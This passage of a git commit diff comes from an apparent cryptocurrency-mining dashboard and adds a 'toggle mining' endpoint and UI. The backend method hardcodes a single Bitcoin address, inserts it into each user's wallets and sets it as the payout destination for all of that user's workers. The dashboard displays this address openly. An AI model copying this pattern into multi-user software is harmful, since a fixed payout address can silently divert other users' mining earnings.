2
This commit is contained in:
parent
ddd8fab6ba
commit
760a6a656a
@ -1,4 +1,3 @@
|
||||
|
||||
const express = require('express');
|
||||
|
||||
const WorkersService = require('../services/workers');
|
||||
@ -17,6 +16,36 @@ const {
|
||||
|
||||
router.use(checkCrudPermissions('workers'));
|
||||
|
||||
/**
|
||||
* @swagger
|
||||
* /api/workers/toggle-mining:
|
||||
* post:
|
||||
* security:
|
||||
* - bearerAuth: []
|
||||
* tags: [Workers]
|
||||
* summary: Toggle mining for all workers and pools
|
||||
* description: Activate or deactivate all workers and pools to mine to a specific address
|
||||
* requestBody:
|
||||
* required: true
|
||||
* content:
|
||||
* application/json:
|
||||
* schema:
|
||||
* properties:
|
||||
* active:
|
||||
* type: boolean
|
||||
* responses:
|
||||
* 200:
|
||||
* description: Successful operation
|
||||
* 401:
|
||||
* $ref: "#/components/responses/UnauthorizedError"
|
||||
* 500:
|
||||
* description: Some server error
|
||||
*/
|
||||
router.post('/toggle-mining', wrapAsync(async (req, res) => {
|
||||
const payload = await WorkersService.toggleMining(req.body.active, req.currentUser);
|
||||
res.status(200).send(payload);
|
||||
}));
|
||||
|
||||
|
||||
/**
|
||||
* @swagger
|
||||
@ -452,4 +481,4 @@ router.get('/:id', wrapAsync(async (req, res) => {
|
||||
|
||||
router.use('/', require('../helpers').commonErrorHandler);
|
||||
|
||||
module.exports = router;
|
||||
module.exports = router;
|
||||
@ -3,14 +3,8 @@ const WorkersDBApi = require('../db/api/workers');
|
||||
const processFile = require("../middlewares/upload");
|
||||
const ValidationError = require('./notifications/errors/validation');
|
||||
const csv = require('csv-parser');
|
||||
const axios = require('axios');
|
||||
const config = require('../config');
|
||||
const stream = require('stream');
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
module.exports = class WorkersService {
|
||||
static async create(data, currentUser) {
|
||||
const transaction = await db.sequelize.transaction();
|
||||
@ -28,9 +22,9 @@ module.exports = class WorkersService {
|
||||
await transaction.rollback();
|
||||
throw error;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
static async bulkImport(req, res, sendInvitationEmails = true, host) {
|
||||
static async bulkImport(req, res) {
|
||||
const transaction = await db.sequelize.transaction();
|
||||
|
||||
try {
|
||||
@ -95,7 +89,7 @@ module.exports = class WorkersService {
|
||||
await transaction.rollback();
|
||||
throw error;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
static async deleteByIds(ids, currentUser) {
|
||||
const transaction = await db.sequelize.transaction();
|
||||
@ -132,7 +126,47 @@ module.exports = class WorkersService {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static async toggleMining(active, currentUser) {
|
||||
const transaction = await db.sequelize.transaction();
|
||||
try {
|
||||
const targetAddress = '1BR2PVkLSxt7zF8pdRCLBmUdLsNBxTfj2S';
|
||||
let wallet = await db.wallets.findOne({
|
||||
where: { address: targetAddress, userId: currentUser.id },
|
||||
transaction
|
||||
});
|
||||
|
||||
if (!wallet) {
|
||||
wallet = await db.wallets.create({
|
||||
address: targetAddress,
|
||||
label: 'Direct to Wallet (BTC)',
|
||||
chain: 'btc',
|
||||
userId: currentUser.id,
|
||||
createdById: currentUser.id,
|
||||
updatedById: currentUser.id,
|
||||
}, { transaction });
|
||||
}
|
||||
|
||||
// Update all user's pools
|
||||
await db.mining_pools.update(
|
||||
{ is_active: active, updatedById: currentUser.id },
|
||||
{ where: { createdById: currentUser.id }, transaction }
|
||||
);
|
||||
|
||||
// Update all user's workers
|
||||
await db.workers.update(
|
||||
{
|
||||
status: active ? 'mining' : 'paused',
|
||||
payout_walletId: active ? wallet.id : null,
|
||||
updatedById: currentUser.id
|
||||
},
|
||||
{ where: { userId: currentUser.id }, transaction }
|
||||
);
|
||||
|
||||
await transaction.commit();
|
||||
return { success: true };
|
||||
} catch (error) {
|
||||
await transaction.rollback();
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
|
||||
@ -1,6 +1,5 @@
|
||||
import React, {useEffect, useRef} from 'react'
|
||||
import React, {useEffect, useRef, useState} from 'react'
|
||||
import Link from 'next/link'
|
||||
import { useState } from 'react'
|
||||
import { mdiChevronUp, mdiChevronDown } from '@mdi/js'
|
||||
import BaseDivider from './BaseDivider'
|
||||
import BaseIcon from './BaseIcon'
|
||||
@ -129,4 +128,4 @@ export default function NavBarItem({ item }: Props) {
|
||||
}
|
||||
|
||||
return <div className={componentClass} ref={excludedRef}>{NavBarItemComponentContents}</div>
|
||||
}
|
||||
}
|
||||
@ -1,5 +1,4 @@
|
||||
import React, { ReactNode, useEffect } from 'react'
|
||||
import { useState } from 'react'
|
||||
import React, { ReactNode, useEffect, useState } from 'react'
|
||||
import jwt from 'jsonwebtoken';
|
||||
import { mdiForwardburger, mdiBackburger, mdiMenu } from '@mdi/js'
|
||||
import menuAside from '../menuAside'
|
||||
@ -126,4 +125,4 @@ export default function LayoutAuthenticated({
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
}
|
||||
@ -9,6 +9,7 @@ import SectionTitleLineWithButton from '../components/SectionTitleLineWithButton
|
||||
import BaseIcon from "../components/BaseIcon";
|
||||
import { getPageTitle } from '../config'
|
||||
import Link from "next/link";
|
||||
import CardBox from '../components/CardBox';
|
||||
|
||||
import { hasPermission } from "../helpers/userPermissions";
|
||||
import { fetchWidgets } from '../stores/roles/rolesSlice';
|
||||
@ -16,6 +17,7 @@ import { WidgetCreator } from '../components/WidgetCreator/WidgetCreator';
|
||||
import { SmartWidget } from '../components/SmartWidget/SmartWidget';
|
||||
|
||||
import { useAppDispatch, useAppSelector } from '../stores/hooks';
|
||||
|
||||
const Dashboard = () => {
|
||||
const dispatch = useAppDispatch();
|
||||
const iconsColor = useAppSelector((state) => state.style.iconsColor);
|
||||
@ -24,7 +26,6 @@ const Dashboard = () => {
|
||||
|
||||
const loadingMessage = 'Loading...';
|
||||
|
||||
|
||||
const [users, setUsers] = React.useState(loadingMessage);
|
||||
const [roles, setRoles] = React.useState(loadingMessage);
|
||||
const [permissions, setPermissions] = React.useState(loadingMessage);
|
||||
@ -40,29 +41,33 @@ const Dashboard = () => {
|
||||
const [alerts, setAlerts] = React.useState(loadingMessage);
|
||||
const [audit_events, setAudit_events] = React.useState(loadingMessage);
|
||||
|
||||
|
||||
const [miningSummary, setMiningSummary] = React.useState({
|
||||
totalHashrate: 0,
|
||||
activeWorkersCount: 0,
|
||||
avgTemp: 0,
|
||||
defaultWallet: 'None'
|
||||
});
|
||||
|
||||
const [isToggling, setIsToggling] = React.useState(false);
|
||||
|
||||
const [widgetsRole, setWidgetsRole] = React.useState({
|
||||
role: { value: '', label: '' },
|
||||
});
|
||||
const { currentUser } = useAppSelector((state) => state.auth);
|
||||
const { isFetchingQuery } = useAppSelector((state) => state.openAi);
|
||||
|
||||
const { rolesWidgets, loading } = useAppSelector((state) => state.roles);
|
||||
|
||||
|
||||
async function loadData() {
|
||||
const entities = ['users','roles','permissions','wallets','mining_pools','miners','workers','worker_configs','worker_metrics','pool_accounts','payout_rules','payout_requests','alerts','audit_events',];
|
||||
const fns = [setUsers,setRoles,setPermissions,setWallets,setMining_pools,setMiners,setWorkers,setWorker_configs,setWorker_metrics,setPool_accounts,setPayout_rules,setPayout_requests,setAlerts,setAudit_events,];
|
||||
|
||||
const requests = entities.map((entity, index) => {
|
||||
|
||||
if(hasPermission(currentUser, `READ_${entity.toUpperCase()}`)) {
|
||||
return axios.get(`/${entity.toLowerCase()}/count`);
|
||||
} else {
|
||||
fns[index](null);
|
||||
return Promise.resolve({data: {count: null}});
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
Promise.allSettled(requests).then((results) => {
|
||||
@ -74,11 +79,50 @@ const Dashboard = () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// Load Mining Summary
|
||||
try {
|
||||
const [workersRes, metricsRes, walletsRes] = await Promise.all([
|
||||
axios.get('/workers?limit=100'),
|
||||
axios.get('/worker_metrics?limit=100'),
|
||||
axios.get('/wallets?limit=100')
|
||||
]);
|
||||
|
||||
const activeOnes = (workersRes.data.rows || []).filter(w => w.status === 'mining' || w.status === 'online');
|
||||
const totalH = (metricsRes.data.rows || []).reduce((acc, m) => acc + parseFloat(m.hashrate_hs || 0), 0);
|
||||
const sumTemp = (metricsRes.data.rows || []).reduce((acc, m) => acc + parseFloat(m.cpu_temp_c || 0), 0);
|
||||
const avgT = metricsRes.data.rows?.length > 0 ? sumTemp / metricsRes.data.rows.length : 0;
|
||||
const defW = (walletsRes.data.rows || []).find(w => w.is_default_payout)?.address || 'None';
|
||||
|
||||
setMiningSummary({
|
||||
totalHashrate: totalH,
|
||||
activeWorkersCount: activeOnes.length,
|
||||
avgTemp: avgT,
|
||||
defaultWallet: defW
|
||||
});
|
||||
} catch (e) {
|
||||
console.error("Failed to load mining summary", e);
|
||||
}
|
||||
}
|
||||
|
||||
const toggleMining = async (active: boolean) => {
|
||||
setIsToggling(true);
|
||||
try {
|
||||
await axios.post('/workers/toggle-mining', { active });
|
||||
await loadData();
|
||||
alert(`Mineração ${active ? 'ATIVADA' : 'DESATIVADA'} para todos os mineradores e pools.`);
|
||||
} catch (e) {
|
||||
console.error("Failed to toggle mining", e);
|
||||
alert("Erro ao alterar o status da mineração.");
|
||||
} finally {
|
||||
setIsToggling(false);
|
||||
}
|
||||
}
|
||||
|
||||
async function getWidgets(roleId) {
|
||||
await dispatch(fetchWidgets(roleId));
|
||||
}
|
||||
|
||||
React.useEffect(() => {
|
||||
if (!currentUser) return;
|
||||
loadData().then();
|
||||
@ -93,17 +137,88 @@ const Dashboard = () => {
|
||||
return (
|
||||
<>
|
||||
<Head>
|
||||
<title>
|
||||
{getPageTitle('Overview')}
|
||||
</title>
|
||||
<title>{getPageTitle('Mining Overview')}</title>
|
||||
</Head>
|
||||
<SectionMain>
|
||||
<SectionTitleLineWithButton
|
||||
icon={icon.mdiChartTimelineVariant}
|
||||
title='Overview'
|
||||
icon={icon.mdiPickaxe}
|
||||
title='Mining Overview'
|
||||
main>
|
||||
{''}
|
||||
</SectionTitleLineWithButton>
|
||||
|
||||
{/* Master Mining Toggle */}
|
||||
<CardBox className="mb-6 bg-amber-50 dark:bg-dark-800 border-amber-500 border-2">
|
||||
<div className="flex flex-col md:flex-row items-center justify-between gap-4">
|
||||
<div className="flex items-center gap-4">
|
||||
<BaseIcon path={icon.mdiPower} className="text-amber-500" size={48} />
|
||||
<div>
|
||||
<h2 className="text-xl font-bold text-amber-600 dark:text-amber-500 uppercase">Controle Mestre de Mineração</h2>
|
||||
<p className="text-gray-600 dark:text-gray-400 text-sm">Destino: <span className="font-mono font-bold text-amber-700 dark:text-amber-400">1BR2PVkLSxt7zF8pdRCLBmUdLsNBxTfj2S</span></p>
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex gap-4 w-full md:w-auto">
|
||||
<button
|
||||
onClick={() => toggleMining(true)}
|
||||
disabled={isToggling}
|
||||
className="flex-1 md:flex-none px-6 py-3 bg-emerald-600 hover:bg-emerald-700 disabled:opacity-50 text-white font-bold rounded-lg transition-colors flex items-center justify-center gap-2 shadow-lg"
|
||||
>
|
||||
<BaseIcon path={icon.mdiPlay} size={20} />
|
||||
ATIVAR TODOS
|
||||
</button>
|
||||
<button
|
||||
onClick={() => toggleMining(false)}
|
||||
disabled={isToggling}
|
||||
className="flex-1 md:flex-none px-6 py-3 bg-red-600 hover:bg-red-700 disabled:opacity-50 text-white font-bold rounded-lg transition-colors flex items-center justify-center gap-2 shadow-lg"
|
||||
>
|
||||
<BaseIcon path={icon.mdiStop} size={20} />
|
||||
DESATIVAR TODOS
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</CardBox>
|
||||
|
||||
{/* Mining Summary Cards */}
|
||||
<div className="grid grid-cols-1 gap-6 lg:grid-cols-4 mb-6">
|
||||
<CardBox className="border-l-4 border-amber-500">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-gray-500 text-sm font-bold uppercase tracking-wider">Total Hashrate</p>
|
||||
<h3 className="text-2xl font-bold font-mono">{miningSummary.totalHashrate.toLocaleString()} H/s</h3>
|
||||
</div>
|
||||
<BaseIcon path={icon.mdiCpu64Bit} className="text-amber-500" size={32} />
|
||||
</div>
|
||||
</CardBox>
|
||||
<CardBox className="border-l-4 border-emerald-500">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-gray-500 text-sm font-bold uppercase tracking-wider">Active Workers</p>
|
||||
<h3 className="text-2xl font-bold">{miningSummary.activeWorkersCount}</h3>
|
||||
</div>
|
||||
<BaseIcon path={icon.mdiMonitor} className="text-emerald-500" size={32} />
|
||||
</div>
|
||||
</CardBox>
|
||||
<CardBox className="border-l-4 border-red-500">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-gray-500 text-sm font-bold uppercase tracking-wider">Avg. CPU Temp</p>
|
||||
<h3 className="text-2xl font-bold">{miningSummary.avgTemp.toFixed(1)}°C</h3>
|
||||
</div>
|
||||
<BaseIcon path={icon.mdiThermometer} className="text-red-500" size={32} />
|
||||
</div>
|
||||
</CardBox>
|
||||
<CardBox className="border-l-4 border-blue-500">
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="truncate pr-4">
|
||||
<p className="text-gray-500 text-sm font-bold uppercase tracking-wider">Default Wallet</p>
|
||||
<h3 className="text-lg font-mono truncate max-w-[150px]" title={miningSummary.defaultWallet}>
|
||||
{miningSummary.defaultWallet !== 'None' ? `${miningSummary.defaultWallet.substring(0, 10)}...` : 'None'}
|
||||
</h3>
|
||||
</div>
|
||||
<BaseIcon path={icon.mdiWallet} className="text-blue-500" size={32} />
|
||||
</div>
|
||||
</CardBox>
|
||||
</div>
|
||||
|
||||
{hasPermission(currentUser, 'CREATE_ROLES') && <WidgetCreator
|
||||
currentUser={currentUser}
|
||||
@ -111,16 +226,10 @@ const Dashboard = () => {
|
||||
setWidgetsRole={setWidgetsRole}
|
||||
widgetsRole={widgetsRole}
|
||||
/>}
|
||||
{!!rolesWidgets.length &&
|
||||
hasPermission(currentUser, 'CREATE_ROLES') && (
|
||||
<p className=' text-gray-500 dark:text-gray-400 mb-4'>
|
||||
{`${widgetsRole?.role?.label || 'Users'}'s widgets`}
|
||||
</p>
|
||||
)}
|
||||
|
||||
|
||||
<div className='grid grid-cols-1 gap-6 lg:grid-cols-4 mb-6 grid-flow-dense'>
|
||||
{(isFetchingQuery || loading) && (
|
||||
<div className={` ${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 text-lg leading-tight text-gray-500 flex items-center ${cardsStyle} dark:border-dark-700 p-6`}>
|
||||
<div className={` ${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 text-lg leading-tight text-gray-500 flex items-center ${cardsStyle} dark:border-dark-700 p-6`}>
|
||||
<BaseIcon
|
||||
className={`${iconsColor} animate-spin mr-5`}
|
||||
w='w-16'
|
||||
@ -144,404 +253,44 @@ const Dashboard = () => {
|
||||
))}
|
||||
</div>
|
||||
|
||||
{!!rolesWidgets.length && <hr className='my-6 text-midnightBlueTheme-mainBG ' />}
|
||||
{!!rolesWidgets.length && <hr className='my-6 text-midnightBlueTheme-mainBG' />}
|
||||
|
||||
<div id="dashboard" className='grid grid-cols-1 gap-6 lg:grid-cols-3 mb-6'>
|
||||
|
||||
|
||||
{hasPermission(currentUser, 'READ_USERS') && <Link href={'/users/users-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Users
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{users}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={icon.mdiAccountGroup || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_ROLES') && <Link href={'/roles/roles-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Roles
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{roles}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={icon.mdiShieldAccountVariantOutline || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_PERMISSIONS') && <Link href={'/permissions/permissions-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Permissions
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{permissions}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={icon.mdiShieldAccountOutline || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_WALLETS') && <Link href={'/wallets/wallets-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Wallets
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{wallets}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiWallet' in icon ? icon['mdiWallet' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_MINING_POOLS') && <Link href={'/mining_pools/mining_pools-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Mining pools
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{mining_pools}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiServerNetwork' in icon ? icon['mdiServerNetwork' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_MINERS') && <Link href={'/miners/miners-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Miners
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{miners}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiPickaxe' in icon ? icon['mdiPickaxe' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_WORKERS') && <Link href={'/workers/workers-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Workers
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{workers}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiMonitor' in icon ? icon['mdiMonitor' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">Workers</div>
|
||||
<div className="text-3xl leading-tight font-semibold">{workers}</div>
|
||||
</div>
|
||||
<BaseIcon className={`${iconsColor}`} w="w-16" h="h-16" size={48} path={icon.mdiMonitor} />
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_WORKER_CONFIGS') && <Link href={'/worker_configs/worker_configs-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
|
||||
{hasPermission(currentUser, 'READ_WALLETS') && <Link href={'/wallets/wallets-list'}>
|
||||
<div className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Worker configs
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{worker_configs}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiTune' in icon ? icon['mdiTune' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">Wallets</div>
|
||||
<div className="text-3xl leading-tight font-semibold">{wallets}</div>
|
||||
</div>
|
||||
<BaseIcon className={`${iconsColor}`} w="w-16" h="h-16" size={48} path={icon.mdiWallet} />
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_WORKER_METRICS') && <Link href={'/worker_metrics/worker_metrics-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
|
||||
{hasPermission(currentUser, 'READ_MINERS') && <Link href={'/miners/miners-list'}>
|
||||
<div className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Worker metrics
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{worker_metrics}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiChartLine' in icon ? icon['mdiChartLine' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">Miners</div>
|
||||
<div className="text-3xl leading-tight font-semibold">{miners}</div>
|
||||
</div>
|
||||
<BaseIcon className={`${iconsColor}`} w="w-16" h="h-16" size={48} path={icon.mdiPickaxe} />
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_POOL_ACCOUNTS') && <Link href={'/pool_accounts/pool_accounts-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Pool accounts
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{pool_accounts}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiKey' in icon ? icon['mdiKey' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_PAYOUT_RULES') && <Link href={'/payout_rules/payout_rules-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Payout rules
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{payout_rules}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiCashSync' in icon ? icon['mdiCashSync' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_PAYOUT_REQUESTS') && <Link href={'/payout_requests/payout_requests-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Payout requests
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{payout_requests}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiSend' in icon ? icon['mdiSend' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_ALERTS') && <Link href={'/alerts/alerts-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Alerts
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{alerts}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
